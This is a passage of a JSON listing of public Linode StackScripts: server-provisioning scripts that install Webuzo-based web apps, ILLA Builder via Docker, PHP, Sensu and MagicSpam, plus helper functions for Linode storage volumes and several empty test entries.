do\n if [ \"$(dig +short -x \"$ip_address\" | grep \"$domain\")\" ]; then\n a=0\n else\n printf \".\"\n sleep 10\n fi\n done\n}\n\n\n\n##################################\n## Object Storage Buckets\n##################################\n\n## Create Object Storage Buckets\n\nfunction create_obj_bucket {\n local -r bucket_name=\"$1\" cluster=\"$2\" acl=\"$3\" cors=\"$4\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"label\": \"''\"$bucket_name\"''\",\n \"cluster\": \"''\"$cluster\"''\",\n \"cors_enabled\": ''$cors'',\n \"acl\": \"''\"$acl\"''\"\n }'' https://api.linode.com/v4/object-storage/buckets/\n}\n\n\n\n##################################\n## Block Storage Volumes\n##################################\n\n## List Block Storage Volumes\n\nfunction list_volumes {\n # Example: list_volumes\n\n curl -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/volumes | jq -S\n}\n\nfunction get_volume_property {\n # Example: get_volume_property \"$VOLUME_LABEL\" \"$PROPERTY\"\n\n local -r volume=\"$1\" property=\"$2\"\n local -a volume_list=(\"$(list_volumes)\")\n local -r num_volumes=$(echo \"${volume_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_volumes; i++)); do\n local volume_name=$(echo \"${volume_list[@]}\" | jq .data[$i].label | sed ''s/\"//g'')\n case \"$volume_name\" in\n \"$volume\")\n echo \"${volume_list[@]}\" | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction check_volume {\n # Example: check_volume \"$volume\"\n\n local -r volume=\"$1\"\n if [ $(get_volume_property \"$volume\" ''label'') ];\n then return 0;\n else return 1;\n fi\n}\n\n\n## Create Block Storage Volumes\n\nfunction create_volume {\n # Example: create_volume \"$VOLUME_LABEL\" $VOLUME_SIZE $LINODE_ID (optional)\n # If you don''t specify a Linode ID, it will default to the current Linode\n\n local -r label=\"$1\" size=\"$2\" linode_id=\"${3:-$LINODE_ID}\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"label\": \"''\"$label\"''\",\n \"size\": ''$size'',\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes | jq -S\n}\n\n\n## Attach/Detach/Mount Block Storage Volumes\n\nfunction attach_volume {\n # Example: attach_volume \"$VOLUME_LABEL\" $LINODE_ID (optional)\n # If you don''t specify a Linode ID, it will default to the current Linode\n\n local -r volume_label=\"$1\" linode_id=\"${2:-$LINODE_ID}\"\n local -r volume_id=$(get_volume_property \"$volume_label\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes/$volume_id/attach\n\n}\n\nfunction detach_volume {\n # Example: detach_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST \\\n https://api.linode.com/v4/volumes/$volume_id/detach\n\n}\n\nfunction mount_volume {\n # Example: mount_volume \"$VOLUME_LABEL\" ''/path/to/mount_point''\n\n local -r volume_label=\"$1\" mount_point=\"$2\"\n local -r volume_path=\"$(\n get_volume_property \"$volume_label\" ''filesystem_path'' | sed ''s/\"//g''\n )\"\n\n # Wait for the volume to become available before proceeding\n local x=1\n while [ $x -gt 0 ]; do\n [ -e $volume_path ] && ((x-=1))\n sleep 1\n done\n\n # Create a filesystem on the volume\n mkfs.ext4 \"$volume_path\"\n\n # Create \"$mount_point\" and mount the volume there\n mkdir -p \"$mount_point\"\n mount \"$volume_path\" \"$mount_point\"\n\n # Automatically mount the volume at boot\n echo \"$volume_path $mount_point ext4 defaults 0 2\" >> /etc/fstab\n}\n\n\nfunction delete_volume {\n # Example: delete_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X DELETE \\\n https://api.linode.com/v4/volumes/$volume_id\n}", "user_defined_fields": []}, {"id": 48408, "username": "crooksau", "user_gravatar_id": "f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": "Debian 8 Install", "description": "Debian 8 Install for BODYRUBS.RU", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/sh", "user_defined_fields": []}, {"id": 9241, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Admidio powered by Webuzo", "description": "Admidio is a free online membership management, optimized for clubs, groups and organizations. It consists of classical management members from a variety of modules that can be installed and adjusted to a new or existing website.\r\n\r\nRegistered users have your website by Admidio including access to predefined and user-configurable membership lists, people profiles and an Agenda. In addition, members may be pooled in groups are assigned properties and search for it.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Admidio and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Admidio powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Admidio and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Admidio :\n# Admidio is a free online membership management, optimized for clubs, groups and organizations.\n# It consists of classical management members from a variety of modules that can be installed \n# and adjusted to a new or existing website.\n###########################################################################################################\n\n# Install Admidio Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=449&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Admidio and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Admidio has been successfully installed\"\necho \" \"\necho \"You can now configure Admidio and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 12825, "username": "bozuslu", "user_gravatar_id": "67f0a5d0710560fd85e82a39cc71a567", "label": "bayram", "description": "Ek 2", "ordinal": 0, "logo_url": "", "images": ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9242, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MeshCMS powered by Webuzo", "description": "MeshCMS is an online editing system written in Java. It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages are stored in regular HTML files and all additional features are file-based, without needing a database.\r\n\r\nMeshCMS has been thought as a quick tool to edit pages online, manage files and create some common components like menus, breadcrumbs, mail forms, image galleries and so on.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MeshCMS and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MeshCMS powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MeshCMS and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MeshCMS :\n# MeshCMS is an online editing system written in Java.\n# It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages \n# are stored in regular HTML files and all additional features are file-based, without needing a database.\n###########################################################################################################\n\n# Install MeshCMS Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=385&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MeshCMS and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MeshCMS has been successfully installed\"\necho \" \"\necho \"You can now configure MeshCMS and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193754, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Illa Builder One-Click", "description": "Illa Builder One-Click App", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n# Apt update/upgrade\napt update\napt upgrade -y\n\n# Install the dependencies & add Docker to the APT repository\napt install -y apt-transport-https ca-certificates curl software-properties-common gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n# Check to ensure Docker is running and installed correctly\nsystemctl status docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n# Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\". and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho \"\n********************************************************************************\nWelcome to ILLA Builder!\n********************************************************************************\n # Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n # Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"", "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example": "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 14362, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Sensu omnibus package\n#\n# This package contains all of the different Sensu components. Use specific scripts\n# to configure each component on different nodes.\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/configure-repo-sensu.sh\n\napt-get install -yq sensu", "user_defined_fields": []}, {"id": 9243, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Little Software Stats powered by Webuzo", "description": "Little Software Stats is a web application that allows users to monitor their software.\r\n\r\nLittle Software Stats is the first runtime intelligence software released as open source and free. It is designed and developed through MySQL and PHP which will allow most web servers to run it. Little Software Stats allows users to collect information including executions, installations, exceptions, and geographical location.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Little Software Stats and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Little Software Stats powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Little Software Stats and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Little Software Stats :\n# Little Software Stats is a web application that allows users to monitor their software.\n# Little Software Stats is the first runtime intelligence software released as open source and free.\n# It is designed and developed through MySQL and PHP which will allow most web servers to run it.\n# Little Software Stats allows users to collect information including executions, \n# installations, exceptions, and geographical location.\n###########################################################################################################\n\n# Install Little Software Stats Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=444&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Little Software Stats and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Little Software Stats has been successfully installed\"\necho \" \"\necho \"You can now configure Little Software Stats and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193755, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "PHP", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v1.0.1", "script": "#!/usr/bin/env python\n\n\"\"\"\nPHP StackScript\n\t\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.1.2\n\tRequirements:\n\t\t- ss://linode/python-library \n\nThis StackScript both deploys as well as provides a library of functions for\nPHP. The functions in this StackScript are designed to be run across the \nLinode Core Distributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\n\ntry: # we''ll need to rename included StackScripts before we can import them\n\tos.rename(\"/root/ssinclude-3\", \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport pythonlib\n\n\ndef php_apache_mod_install():\n\t\"\"\"Install Apache httpd PHP module.\"\"\"\n\t# add logging support\n\n\tpackage = {\n\t\t''debian'': ''php5'',\n\t\t''redhat'': ''php''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']])\n\n\n#def php_fpm_install():\n\n\ndef php_install():\n\t\"\"\"Install PHP.\n\t\n\tDefaults to installing the mod_PHP implemention of PHP.\n\t\"\"\"\n\t# add logging support\n\n\tphp_apache_mod_install()\n\n\ndef php_install_module(module, update_index=True):\n\t\"\"\"Install a PHP module.\"\"\"\n\n\tprefix = {\n\t\t''debian'': ''php5-'',\n\t\t''redhat'': ''php-''\n\t}\n\n\tpythonlib.system_package_install(prefix[pythonlib.distro[''family'']] + module, update_index)\n\n\ndef php_install_module_common():\n\t\"\"\"Install most common PHP modules.\n\n\tInstall GD, mcrypt, pear, mysql, and the cli.\"\"\"\n\t\n\tphp_install_module(\"gd\")\n\t#php_install_module(\"mcrypt\", False) #not in CentOS7 repos :(\n\t#php_install_module(\"pear\", False) # both families use php-pear so\n\t#installing php5-pear in the Debian family will fail\n\tphp_install_module(\"mysql\", False)\n\tphp_install_module(\"cli\", False)\n\trestart()\n\n\ndef restart():\n\tif pythonlib.distro[''family''] == \"debian\":\n\t\tsubprocess.call([''service'', ''apache2'', ''restart''])\n\telif pythonlib.distro[''family''] == \"redhat\":\n\t\tsubprocess.call([''systemctl'', ''restart'', ''httpd''])\n\n\ndef main():\n\t\"\"\"Install PHP.\"\"\"\n\t# add logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\tphp_install()\n\n\tpythonlib.end()\n\n\nif __name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": []}, {"id": 1158683, "username": "yoboycc", "user_gravatar_id": "e598b7c77d05460a72ceb4397cbc72f6", "label": "snapchat", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian11"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\nhttps://104-200-19-103.ip.linodeusercontent.com:3000/demos/butcher/index.html", "user_defined_fields": []}, {"id": 978971, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 9244, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "DIY powered by Webuzo", "description": "DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT. It is fully object-oriented and designed following the MVC architecture and REST design principles. The idea behind it is not to reinvent the wheel but instead to combine existing and proven technologies in a convenient and effective way.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure DIY and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "DIY powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install DIY and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About DIY :\n# DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT.\n# It is fully object-oriented and designed following the MVC architecture and REST design principles.\n# The idea behind it is not to reinvent the wheel but instead to combine existing and \n# proven technologies in a convenient and effective way.\n###########################################################################################################\n\n# Install DIY Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=242&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling DIY and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, DIY has been successfully installed\"\necho \" \"\necho \"You can now configure DIY and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 665116, "username": "prod-test-012", "user_gravatar_id": "baf45275c482453fbd50f381af256408", "label": "test public2", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 1193756, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "MagicSpam One-Click", "description": "MagicSpam One-Click", "ordinal": 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# \n# \n\n# source the stackscript for the selected control panel\nif [ \"$CONTROL_PANEL\" == \"cPanel\" ]; then\n # redirect ALL output to the stackscript log for future troubleshooting\n exec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n # cPanel Marketplace App install\n source \n\n # set the hostname to replicate Plesk stackscript for consistent behavior\n IPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n echo $HOSTNAME > /etc/hostname\n hostname -F /etc/hostname\n echo $IPADDR $HOSTNAME >> /etc/hosts\nelif [ \"$CONTROL_PANEL\" == \"Plesk\" ]; then\n # Plesk Marketplace App install\n # NOTE: do not redirect output to the stackscript log to avoid duplicate log\n # lines as the Plesk stackscript already redirects to it\n source \nelse\n echo \"Invalid control panel option detected. Aborting...\"\n exit 1\nfi\n\n# install MagicSpam via the installer script\nwget https://www.magicspam.com/download/magicspam-installer.sh -O /root/magicspam-installer\nchmod +x /root/magicspam-installer\n/root/magicspam-installer -l \"$MS_LICENSE_KEY\"", "user_defined_fields": [{"name": "control_panel", "label": "The Control Panel to deploy alongside with MagicSpam. Make sure to select an Image supported by the selected Control Panel. For more information, please refer to the MagicSpam App Information Sidebar.", "oneof": "cPanel,Plesk"}, {"name": "ms_license_key", "label": "The MagicSpam license key. Please make sure to use the appropriate license key for the selected Control Panel. For more information, please refer to the MagicSpam App information sidebar."}, {"name": "hostname", "label": "The server''s hostname."}]}, {"id": 14364, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-repo-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nset -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg | apt-key add -\necho \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla 2.5 powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla 2.5 :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful\n# online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most\n# popular Web site software available. Best of all, Joomla is an open source solution \n# that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla 2.5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=18&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh 